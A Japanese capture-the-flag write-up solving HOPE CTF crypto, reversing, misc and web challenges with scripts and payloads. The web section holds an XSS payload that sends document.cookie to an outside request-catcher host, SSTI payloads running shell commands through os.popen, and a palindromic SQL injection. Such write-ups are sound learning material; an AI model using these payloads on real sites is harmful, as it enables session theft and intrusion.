- [crypto] obp
- [crypto] pem
- [crypto] kfb
- [misc] orphan
- [rev] slices
- [rev] sequence
- [rev] super anti scalper solution 9000
- [web] secure-page
- [web] reverser
- [web] flag-viewer
- [web] pastebin
- [web] point
- [web] oeps
- 終わりに
[crypto] obp
random.randrange(256)
と1byte分の鍵が作られている。
鍵でxorして暗号文が作られているが、plaintextの先頭はフラグがhopeから始まると思うので、key = 0xba ^ ord('h')
という感じで復元できる。
あとは1byteずつkeyでxorしてフラグを復元していこう。
from Crypto.Util.number import * ciphertext = long_to_bytes(0xbabda2b7a9bcbda68db38dbebda68dbdb48db9b7aba18dbfb6a2aaa7a3beb1a2bfb7b5a3a7afd8) key = 0xba ^ ord('h') plaintext = "" for c in ciphertext: plaintext += chr(c ^ key) print(plaintext) # -> hope{not_a_lot_of_keys_mdpxuqlcpmegqu}
[crypto] pem
単に暗号化しているので、復号化すればいい。
PKCS#1 OAEP (RSA) — PyCryptodome 3.15.0 documentation
以上を参考に適当に復号スクリプトを書くとフラグが得られる
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP key = RSA.importKey(open('privatekey.pem').read()) cipher_rsa = PKCS1_OAEP.new(key) flag = cipher_rsa.decrypt(open("encrypted.bin", "rb").read()) print(flag) # -> hope{crypto_more_like_rtfm_f280d8e}
[crypto] kfb
鍵は16bytes。暗号文は77bytesなので、平文も77bytesになる。
暗号化プロセスを見てみると、
encrypt(k, pt) = AES.ECB(k,k) ^ pt
という感じになっている。
自由入力に対して同じ暗号化プロセスを適用できるので、得られた暗号文に対して再度暗号化してみよう。
encrypt(k, encrypt(k, pt))
= AES.ECB(k,k) ^ encrypt(k, pt)
= AES.ECB(k,k) ^ AES.ECB(k,k) ^ pt
= pt
すると、ちょうどptに戻ってくれるので、これで復元していく。
入力値は1回で1BLOCK分(16bytes)しか暗号化してくれないので、先頭から順番に復号化していく。
from pwn import * from Crypto.Util.number import * from Crypto.Util.strxor import * flag = b"" for i in range(77 // 16): with remote("mc.ax", 31968) as r: r.readuntil(b'> ') enc1_hex = r.readuntil(b'\n')[:-1] enc1 = long_to_bytes(int(enc1_hex, 16)) r.sendlineafter(b"< ", enc1_hex[i * 32:]) enc2 = long_to_bytes(int(r.readuntil(b'\n')[2:-1], 16)) print(enc2) flag += enc2[:16] print(flag) # -> b'hope{kfb_should_stick_to_stuff_he_knows_b3358db7e883ed54}\x07\x07\x07\x07\x07\x07\x07'
[misc] orphan
zipを回答すると、.gitファイルが大量に出てくる。
git reflog
をしてみると最後のコミット以外にコミットがもう1つ見える。
$ git reflog 2ce03bc (HEAD -> main) HEAD@{0}: checkout: moving from flag to main b53c9e6 HEAD@{1}: commit (initial): add flag 2ce03bc (HEAD -> main) HEAD@{2}: checkout: moving from flag to main 2ce03bc (HEAD -> main) HEAD@{3}: commit (initial): add foo
git show b53c9e6
でコミット内容を見てみるとフラグがある。
hope{ba9f11ecc3497d9993b933fdc2bd61e5}
[rev] slices
コードを見ながら、slice構文に従って以下のように復元していく。
flag = '?'*32 starts = [0, 31, 5, 4, 3, 6, 7] steps = [1, 1, 3, 4, 5, 3, 3] patterns = ['hope{', '}', 'i0_tnl3a0', '{0p0lsl', 'e0y_3l', '_vph_is_t', 'ley0sc_l}'] for start, step, pattern in zip(starts, steps, patterns): for i in range(len(pattern)): flag = flag[0:start + i * step] + pattern[i] + flag[start + i * step + 1:] print(f"[+] {flag}")
[rev] sequence
ghidraでCに戻して見てみよう。
check関数で判定されていて、判定が通ればフラグが表示される。
read_numbers関数で6つの数字を入力することができる。
else if (buf[0] == 0xc) { for (i = 1; i < 6; i = i + 1) { iVar1 = buf[i + -1] * 3 + 7; uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c; if (buf[i] != (iVar1 + uVar2 & 0xf) - uVar2) { ret = 0; goto LAB_00101305; } } ret = 1; }
この辺りが判定部分になる。
これをもとに復元コードを書いて、出てきた数字を入れるとフラグが手に入る。
#include <iostream> using namespace std; int main() { int buf [6]; buf[0] = 0xc; for (int i = 1; i < 6; i = i + 1) { int iVar1 = buf[i + -1] * 3 + 7; uint uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c; buf[i] = (iVar1 + uVar2 & 0xf) - uVar2; } for (int i = 0; i < 6; i = i + 1) { printf("%d\n", buf[i]); } return 0; }
$ nc mc.ax 31973 input: 12 11 8 15 4 3 hope{definitely_solvable_with_angr}
[rev] super anti scalper solution 9000
ChromeのDevToolsを起動して、{}
みたいなやつをクリックして整形する。
checkSolveというのがあるので内部をステップ実行していく。
適当にブレークして、if (n === o[ほにゃらら])
のnには入力が入ってくるので、o[ほにゃらら]
をConsoleで実行するとフラグが出てくる。
hope{sHoe_1ddbf55508afcc08_sold!}
[web] secure-page
Cookiesと記載があるので、Cookieを注意して見てみる。
GET /
するとSet-Cookie: admin=false
と帰ってくる。
curl -b 'admin=true' https://secure-page.mc.ax/ | grep hope
でフラグゲット。
hope{signatures_signatures_signatures}
[web] reverser
ソースコードを見てみると、37行目のrender_template_stringに外部入力がそのまま渡されている。
SSTIで攻撃可能。
{{config}}
で試すと500エラーになる。
あれ?
環境を作って動かしてログを見てみる…
output = }}gifnoc{{
あー。ちょうどいいので、}}gifnoc{{
で試すとうまく動く。
問題名はそういうことね。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}
の
逆を投げるとflag-ccba9605-afeb-49a6-8aac-d56bac20705b.txt
が得られるので、
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag-ccba9605-afeb-49a6-8aac-d56bac20705b.txt').read()}}
の
逆を投げるとフラグゲット
hope{cant_misuse_templates}
[web] flag-viewer
abcと入力するとadminしか見られないと言われる。
adminを入力しようとすると失敗するが、POST /flag
に直接adminを送ってみると、フラグが得られる。
curl https://flag-viewer.mc.ax/flag -X POST -d "user=admin" -v
locationに/?message=hope%7Boops_client_side_validation_again%7D
と入っているので、実際にGETでアクセスしてもいいし、
適当に変換するとフラグが得られる
hope{oops_client_side_validation_again}
[web] pastebin
コードリーディングで気になる所
- index.js
/flashを呼べば自動でXSSが発火しそう。
https://pastebin.mc.ax/flash?message=%3Cs%3Exss
としてみると発動している。よさそう。
<img src=1 onerror="window.location.href='https://xxxxxxxxx.requestcatcher.com/test?get='+document.cookie">
という感じで発火させて抜き出す。
https://pastebin.mc.ax/flash?message=%3cimg%20src%3d1%20onerror%3d%22window.location.href%3d'https%3a%2f%2fxxxxxxxxx.requestcatcher.com%2ftest%3fget%3d'%2bdocument.cookie%22%3e
をadmin-botに投げるとrequestcatcher経由でフラグが得られる。
hope{the_pastebin_was_irrelvant}
[web] point
問題としてはjsonで{"what_point":"that_point"}
を与えられればフラグが得られる。
Unicodeか?と思ったが、\
もフィルタされている。
うーん、と思って探すと以下のような記事を見つける。
Goにおけるjsonの扱い方を整理・考察してみた ~ データスキーマを添えて
case-insensitiveっぽい。
{"What_point":"that_point"}
のように入力を渡すとフラグが得られる。
hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}
[web] oeps
まずはコードリーディング。
- app.py
app.pyだけを読んで糸口が見えてきたので、server.pyは読まずに攻撃を開始する。
submissionは空白を取り除いた後、回文であることを判定している。
よって、回文であって、flagを持ってくるようなpayloadを持ってくればよさそう。
insert into pending (user, sentence) values ('%s', '%s');
という感じで最初の%sはtokenが入るので無理で、後半にflagを入れるようにして
insert into pending (user, sentence) values ('%s', '' || (select flag from flags)); -- ');
という形を目指す。
入力は' || (select flag from flags)); --
となり、ハイフン以降はコメントになるので、ちょうどここを中心として、逆の文字を入れて最終的なpayloadは
' || (select flag from flags)); -- ;))sgalf morf galf tceles( || '
これをPOST /submit
のsubmisson=にエスケープして入れればフラグが得られる。
hope{ecid_gnivlovni_semordnilap_fo_kniht_ton_dluoc}
終わりに
inspect-meがマジで何が起きているのかさっぱりわからなかった…
こういうのってなんかジャンル名ついてるんだろうか。
アンチデバッグというか、どういう次元の話なんだろう。
あと、revのときに「GLIBC_2.34がない」みたいなエラーが出たけど、どうしたらよかったんだろう。
discordではubuntu21.10を使ったらできたって書いてあったけど、バージョンからubuntuバージョンを逆算する方法もわからんし、もっと手軽な方法ないんかな。